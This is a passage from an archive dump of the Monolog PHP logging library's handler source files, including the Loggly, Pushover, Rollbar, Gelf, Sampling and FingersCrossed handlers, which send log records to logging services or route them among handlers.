setFormatter(?FormatterInterface $formatter = null): self { $this->formatter = $formatter; return $this; } /** * Generates attachment field * * @param string|array $value */ private function generateAttachmentField(string $title, $value): array { $value = is_array($value) ? sprintf('```%s```', substr($this->stringify($value), 0, 1990)) : $value; return array( 'title' => ucfirst($title), 'value' => $value, 'short' => false, ); } /** * Generates a collection of attachment fields from array */ private function generateAttachmentFields(array $data): array { $fields = array(); foreach ($this->normalizerFormatter->format($data) as $key => $value) { $fields[] = $this->generateAttachmentField((string) $key, $value); } return $fields; } /** * Get a copy of record with fields excluded according to $this->excludeFields */ private function removeExcludedFields(array $record): array { foreach ($this->excludeFields as $field) { $keys = explode('.', $field); $node = &$record; $lastKey = end($keys); foreach ($keys as $key) { if (!isset($node[$key])) { break; } if ($lastKey === $key) { unset($node[$key]); break; } $node = &$node[$key]; } } return $record; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php���������������������������������0000644�����������������00000010220�15154650146�0021477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LogglyFormatter; use function array_key_exists; use CurlHandle; /** * Sends errors to Loggly. * * @author Przemek Sobstel <przemek@sobstel.org> * @author Adam Pancutt <adam@pancutt.com> * @author Gregory Barchard <gregory@barchard.net> */ class LogglyHandler extends AbstractProcessingHandler { protected const HOST = 'logs-01.loggly.com'; protected const ENDPOINT_SINGLE = 'inputs'; protected const ENDPOINT_BATCH = 'bulk'; /** * Caches the curl handlers for every given endpoint. * * @var resource[]|CurlHandle[] */ protected $curlHandlers = []; protected $token; protected $tag = []; /** * @param string $token API token supplied by Loggly * @param string|int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If the curl extension is missing */ public function __construct(string $token, $level = Logger::DEBUG, bool $bubble = true) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the LogglyHandler'); } $this->token = $token; parent::__construct($level, $bubble); } /** * Loads and returns the shared curl handler for the given endpoint. * * @param string $endpoint * * @return resource|CurlHandle */ protected function getCurlHandler(string $endpoint) { if (!array_key_exists($endpoint, $this->curlHandlers)) { $this->curlHandlers[$endpoint] = $this->loadCurlHandle($endpoint); } return $this->curlHandlers[$endpoint]; } /** * Starts a fresh curl session for the given endpoint and returns its handler. * * @param string $endpoint * * @return resource|CurlHandle */ private function loadCurlHandle(string $endpoint) { $url = sprintf("https://%s/%s/%s/", static::HOST, $endpoint, $this->token); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return $ch; } /** * @param string[]|string $tag */ public function setTag($tag): self { $tag = !empty($tag) ? $tag : []; $this->tag = is_array($tag) ? $tag : [$tag]; return $this; } /** * @param string[]|string $tag */ public function addTag($tag): self { if (!empty($tag)) { $tag = is_array($tag) ? $tag : [$tag]; $this->tag = array_unique(array_merge($this->tag, $tag)); } return $this; } protected function write(array $record): void { $this->send($record["formatted"], static::ENDPOINT_SINGLE); } public function handleBatch(array $records): void { $level = $this->level; $records = array_filter($records, function ($record) use ($level) { return ($record['level'] >= $level); }); if ($records) { $this->send($this->getFormatter()->formatBatch($records), static::ENDPOINT_BATCH); } } protected function send(string $data, string $endpoint): void { $ch = $this->getCurlHandler($endpoint); $headers = ['Content-Type: application/json']; if (!empty($this->tag)) { $headers[] = 'X-LOGGLY-TAG: '.implode(',', $this->tag); } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); Curl\Util::execute($ch, 5, false); } protected function getDefaultFormatter(): FormatterInterface { return new LogglyFormatter(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php�������������������������������0000644�����������������00000006266�15154650146�0022031 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\FlowdockFormatter; use Monolog\Formatter\FormatterInterface; /** * Sends notifications through the Flowdock push API * * This must be configured with a FlowdockFormatter instance via setFormatter() * * Notes: * API token - Flowdock API token * * @author Dominik Liebler <liebler.dominik@gmail.com> * @see https://www.flowdock.com/api/push */ class FlowdockHandler extends SocketHandler { /** * @var string */ protected $apiToken; /** * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @throws MissingExtensionException if OpenSSL is missing */ public function __construct(string $apiToken, $level = Logger::DEBUG, bool $bubble = true) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); } parent::__construct('ssl://api.flowdock.com:443', $level, $bubble); $this->apiToken = $apiToken; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if (!$formatter instanceof FlowdockFormatter) { throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } return parent::setFormatter($formatter); } /** * Gets the default formatter. */ protected function getDefaultFormatter(): FormatterInterface { throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record): void { parent::write($record); $this->closeSocket(); } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call */ private function buildContent(array $record): string { return Utils::jsonEncode($record['formatted']['flowdock']); } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; $header .= "Host: api.flowdock.com\r\n"; $header .= "Content-Type: application/json\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php��������������������������������0000644�����������������00000006736�15154650146�0021660 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Rollbar\RollbarLogger; use Throwable; use Monolog\Logger; /** * Sends errors to Rollbar * * If the context data contains a `payload` key, that is used as an array * of payload options to RollbarLogger's log method. * * Rollbar's context info will contain the context + extra keys from the log record * merged, and then on top of that a few keys: * * - level (rollbar level name) * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) * - channel * - datetime (unix timestamp) * * @author Paul Statezny <paulstatezny@gmail.com> */ class RollbarHandler extends AbstractProcessingHandler { /** * @var RollbarLogger */ protected $rollbarLogger; protected $levelMap = [ Logger::DEBUG => 'debug', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warning', Logger::ERROR => 'error', Logger::CRITICAL => 'critical', Logger::ALERT => 'critical', Logger::EMERGENCY => 'critical', ]; /** * Records whether any log records have been added since the last flush of the rollbar notifier * * @var bool */ private $hasRecords = false; protected $initialized = false; /** * @param RollbarLogger $rollbarLogger RollbarLogger object constructed with valid token * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(RollbarLogger $rollbarLogger, $level = Logger::ERROR, bool $bubble = true) { $this->rollbarLogger = $rollbarLogger; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function(array($this, 'close')); $this->initialized = true; } $context = $record['context']; $context = array_merge($context, $record['extra'], [ 'level' => $this->levelMap[$record['level']], 'monolog_level' => $record['level_name'], 'channel' => $record['channel'], 'datetime' => $record['datetime']->format('U'), ]); if (isset($context['exception']) && $context['exception'] instanceof Throwable) { $exception = $context['exception']; unset($context['exception']); $toLog = $exception; } else { $toLog = $record['message']; } $this->rollbarLogger->log($context['level'], $toLog, $context); $this->hasRecords = true; } public function flush(): void { if ($this->hasRecords) { $this->rollbarLogger->flush(); $this->hasRecords = false; } } /** * {@inheritdoc} */ public function close(): void { $this->flush(); } /** * {@inheritdoc} */ public function reset() { $this->flush(); parent::reset(); } } ����������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/NoopHandler.php�����������������������������������0000644�����������������00000001560�15154650146�0021164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * No-op * * This handler handles anything, but does nothing, and does not stop bubbling to the rest of the stack. * This can be used for testing, or to disable a handler when overriding a configuration without * influencing the rest of the stack. * * @author Roel Harbers <roelharbers@gmail.com> */ class NoopHandler extends Handler { /** * {@inheritdoc} */ public function isHandling(array $record): bool { return true; } /** * {@inheritdoc} */ public function handle(array $record): bool { return false; } } ������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php���������������������������0000644�����������������00000003553�15154650146�0022611 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\SyslogUdp; use Monolog\Utils; use Socket; class UdpSocket { protected const DATAGRAM_MAX_LENGTH = 65023; /** @var string */ protected $ip; /** @var int */ protected $port; /** @var resource|Socket|null */ protected $socket; public function __construct(string $ip, int $port = 514) { $this->ip = $ip; $this->port = $port; $domain = AF_INET; $protocol = SOL_UDP; // Check if we are using unix sockets. if ($port === 0) { $domain = AF_UNIX; $protocol = IPPROTO_IP; } $this->socket = socket_create($domain, SOCK_DGRAM, $protocol) ?: null; } public function write($line, $header = "") { $this->send($this->assembleMessage($line, $header)); } public function close(): void { if (is_resource($this->socket) || $this->socket instanceof Socket) { socket_close($this->socket); $this->socket = null; } } protected function send(string $chunk): void { if (!is_resource($this->socket) && !$this->socket instanceof Socket) { throw new \RuntimeException('The UdpSocket to '.$this->ip.':'.$this->port.' has been closed and can not be written to anymore'); } socket_sendto($this->socket, $chunk, strlen($chunk), $flags = 0, $this->ip, $this->port); } protected function assembleMessage(string $line, string $header): string { $chunkSize = static::DATAGRAM_MAX_LENGTH - strlen($header); return $header . Utils::substr($line, 0, $chunkSize); } } �����������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php�������������������������������0000644�����������������00000015561�15154650146�0022072 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Sends notifications through the pushover api to mobile phones * * @author Sebastian Göttschkes <sebastian.goettschkes@googlemail.com> * @see https://www.pushover.net/api */ class PushoverHandler extends SocketHandler { private $token; private $users; private $title; private $user; private $retry; private $expire; private $highPriorityLevel; private $emergencyLevel; private $useFormattedMessage = false; /** * All parameters that can be sent to Pushover * @see https://pushover.net/api * @var array */ private $parameterNames = [ 'token' => true, 'user' => true, 'message' => true, 'device' => true, 'title' => true, 'url' => true, 'url_title' => true, 'priority' => true, 'timestamp' => true, 'sound' => true, 'retry' => true, 'expire' => true, 'callback' => true, ]; /** * Sounds the api supports by default * @see https://pushover.net/api#sounds * @var array */ private $sounds = [ 'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', 'persistent', 'echo', 'updown', 'none', ]; /** * @param string $token Pushover api token * @param string|array $users Pushover user id or array of ids the message will be sent to * @param string|null $title Title sent to the Pushover API * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not * the pushover.net app owner. OpenSSL is required for this option. * @param string|int $highPriorityLevel The minimum logging level at which this handler will start * sending "high priority" requests to the Pushover API * @param string|int $emergencyLevel The minimum logging level at which this handler will start * sending "emergency" requests to the Pushover API * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will * send the same notification to the user. * @param int $expire The expire parameter specifies how many seconds your notification will continue * to be retried for (every retry seconds). */ public function __construct( string $token, $users, ?string $title = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useSSL = true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, int $retry = 30, int $expire = 25200 ) { $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; parent::__construct($connectionString, $level, $bubble); $this->token = $token; $this->users = (array) $users; $this->title = $title ?: gethostname(); $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); $this->retry = $retry; $this->expire = $expire; } protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } private function buildContent(array $record): string { // Pushover has a limit of 512 characters on title and message combined. $maxMessageLength = 512 - strlen($this->title); $message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message']; $message = Utils::substr($message, 0, $maxMessageLength); $timestamp = $record['datetime']->getTimestamp(); $dataArray = [ 'token' => $this->token, 'user' => $this->user, 'message' => $message, 'title' => $this->title, 'timestamp' => $timestamp, ]; if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { $dataArray['priority'] = 2; $dataArray['retry'] = $this->retry; $dataArray['expire'] = $this->expire; } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { $dataArray['priority'] = 1; } // First determine the available parameters $context = array_intersect_key($record['context'], $this->parameterNames); $extra = array_intersect_key($record['extra'], $this->parameterNames); // Least important info should be merged with subsequent info $dataArray = array_merge($extra, $context, $dataArray); // Only pass sounds that are supported by the API if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) { unset($dataArray['sound']); } return http_build_query($dataArray); } private function buildHeader(string $content): string { $header = "POST /1/messages.json HTTP/1.1\r\n"; $header .= "Host: api.pushover.net\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } protected function write(array $record): void { foreach ($this->users as $user) { $this->user = $user; parent::write($record); $this->closeSocket(); } $this->user = null; } public function setHighPriorityLevel($value): self { $this->highPriorityLevel = Logger::toMonologLevel($value); return $this; } public function setEmergencyLevel($value): self { $this->emergencyLevel = Logger::toMonologLevel($value); return $this; } /** * Use the formatted message? */ public function useFormattedMessage(bool $value): self { $this->useFormattedMessage = $value; return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php���0000644�����������������00000001603�15154650146�0027517 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; use Monolog\Logger; /** * Error level based activation strategy. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ class ErrorLevelActivationStrategy implements ActivationStrategyInterface { /** * @var int */ private $actionLevel; /** * @param int|string $actionLevel Level or name or value */ public function __construct($actionLevel) { $this->actionLevel = Logger::toMonologLevel($actionLevel); } public function isHandlerActivated(array $record): bool { return $record['level'] >= $this->actionLevel; } } �����������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php�0000644�����������������00000003772�15154650146�0030007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; use Monolog\Logger; /** * Channel and Error level based monolog activation strategy. Allows to trigger activation * based on level per channel. e.g. trigger activation on level 'ERROR' by default, except * for records of the 'sql' channel; those should trigger activation on level 'WARN'. * * Example: * * <code> * $activationStrategy = new ChannelLevelActivationStrategy( * Logger::CRITICAL, * array( * 'request' => Logger::ALERT, * 'sensitive' => Logger::ERROR, * ) * ); * $handler = new FingersCrossedHandler(new StreamHandler('php://stderr'), $activationStrategy); * </code> * * @author Mike Meessen <netmikey@gmail.com> */ class ChannelLevelActivationStrategy implements ActivationStrategyInterface { /** * @var int */ private $defaultActionLevel; /** * @var array */ private $channelToActionLevel; /** * @param int|string $defaultActionLevel The default action level to be used if the record's category doesn't match any * @param array $channelToActionLevel An array that maps channel names to action levels. */ public function __construct($defaultActionLevel, array $channelToActionLevel = []) { $this->defaultActionLevel = Logger::toMonologLevel($defaultActionLevel); $this->channelToActionLevel = array_map('Monolog\Logger::toMonologLevel', $channelToActionLevel); } public function isHandlerActivated(array $record): bool { if (isset($this->channelToActionLevel[$record['channel']])) { return $record['level'] >= $this->channelToActionLevel[$record['channel']]; } return $record['level'] >= $this->defaultActionLevel; } } ������merlin/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php����0000644�����������������00000001155�15154650146�0027340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; /** * Interface for activation strategies for the FingersCrossedHandler. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ interface ActivationStrategyInterface { /** * Returns whether the given record activates the handler. */ public function isHandlerActivated(array $record): bool; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php�������������������������������0000644�����������������00000007624�15154650146�0022032 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Sampling handler * * A sampled event stream can be useful for logging high frequency events in * a production environment where you only need an idea of what is happening * and are not concerned with capturing every occurrence. Since the decision to * handle or not handle a particular event is determined randomly, the * resulting sampled log is not guaranteed to contain 1/N of the events that * occurred in the application, but based on the Law of large numbers, it will * tend to be close to this ratio with a large number of attempts. * * @author Bryan Davis <bd808@wikimedia.org> * @author Kunal Mehta <legoktm@gmail.com> */ class SamplingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * @var callable|HandlerInterface $handler */ protected $handler; /** * @var int $factor */ protected $factor; /** * @psalm-param HandlerInterface|callable(array, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). * @param int $factor Sample factor (e.g. 10 means every ~10th record is sampled) */ public function __construct($handler, int $factor) { parent::__construct(); $this->handler = $handler; $this->factor = $factor; if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } public function isHandling(array $record): bool { return $this->getHandler($record)->isHandling($record); } public function handle(array $record): bool { if ($this->isHandling($record) && mt_rand(1, $this->factor) === 1) { if ($this->processors) { $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } ������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php�����������������������0000644�����������������00000002775�15154650146�0023512 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Forwards records to multiple handlers suppressing failures of each handler * and continuing through to give every handler a chance to succeed. * * @author Craig D'Amelio <craig@damelio.ca> */ class WhatFailureGroupHandler extends GroupHandler { /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); } catch (\Throwable $e) { // What failure? } } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = array(); foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); } catch (\Throwable $e) { // What failure? } } } } ���merlin/vendor/monolog/monolog/src/Monolog/Handler/GelfHandler.php�����������������������������������0000644�����������������00000003126�15154650146�0021126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Gelf\PublisherInterface; use Monolog\Logger; use Monolog\Formatter\GelfMessageFormatter; use Monolog\Formatter\FormatterInterface; /** * Handler to send messages to a Graylog2 (http://www.graylog2.org) server * * @author Matt Lehner <mlehner@gmail.com> * @author Benjamin Zikarsky <benjamin@zikarsky.de> */ class GelfHandler extends AbstractProcessingHandler { /** * @var PublisherInterface|null the publisher object that sends the message to the server */ protected $publisher; /** * @param PublisherInterface $publisher a publisher object * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(PublisherInterface $publisher, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->publisher = $publisher; } /** * {@inheritdoc} */ protected function write(array $record): void { $this->publisher->publish($record['formatted']); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new GelfMessageFormatter(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerInterface.php�������������������0000644�����������������00000001515�15154650146�0024332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Interface to describe loggers that have a formatter * * @author Jordi Boggiano <j.boggiano@seld.be> */ interface FormattableHandlerInterface { /** * Sets the formatter. * * @param FormatterInterface $formatter * @return HandlerInterface self */ public function setFormatter(FormatterInterface $formatter): HandlerInterface; /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php����������������������������0000644�����������������00000006161�15154650146�0022523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\NormalizerFormatter; use Monolog\Logger; /** * Handler sending logs to Zend Monitor * * @author Christian Bergau <cbergau86@gmail.com> * @author Jason Davis <happydude@jasondavis.net> */ class ZendMonitorHandler extends AbstractProcessingHandler { /** * Monolog level / ZendMonitor Custom Event priority map * * @var array */ protected $levelMap = []; /** * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @throws MissingExtensionException */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { if (!function_exists('zend_monitor_custom_event')) { throw new MissingExtensionException( 'You must have Zend Server installed with Zend Monitor enabled in order to use this handler' ); } //zend monitor constants are not defined if zend monitor is not enabled. $this->levelMap = [ Logger::DEBUG => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::INFO => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::NOTICE => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::WARNING => \ZEND_MONITOR_EVENT_SEVERITY_WARNING, Logger::ERROR => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::CRITICAL => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::ALERT => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::EMERGENCY => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, ]; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record): void { $this->writeZendMonitorCustomEvent( Logger::getLevelName($record['level']), $record['message'], $record['formatted'], $this->levelMap[$record['level']] ); } /** * Write to Zend Monitor Events * @param string $type Text displayed in "Class Name (custom)" field * @param string $message Text displayed in "Error String" * @param array $formatted Displayed in Custom Variables tab * @param int $severity Set the event severity level (-1,0,1) */ protected function writeZendMonitorCustomEvent(string $type, string $message, array $formatted, int $severity): void { zend_monitor_custom_event($type, $message, $formatted, $severity); } /** * {@inheritdoc} */ public function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } public function getLevelMap(): array { return $this->levelMap; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php������������������������������0000644�����������������00000012204�15154650146�0022033 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\ChromePHPFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; /** * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) * * This also works out of the box with Firefox 43+ * * @author Christophe Coevoet <stof@notk.org> */ class ChromePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * Version of the extension */ protected const VERSION = '4.0'; /** * Header name */ protected const HEADER_NAME = 'X-ChromeLogger-Data'; /** * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) */ protected const USER_AGENT_REGEX = 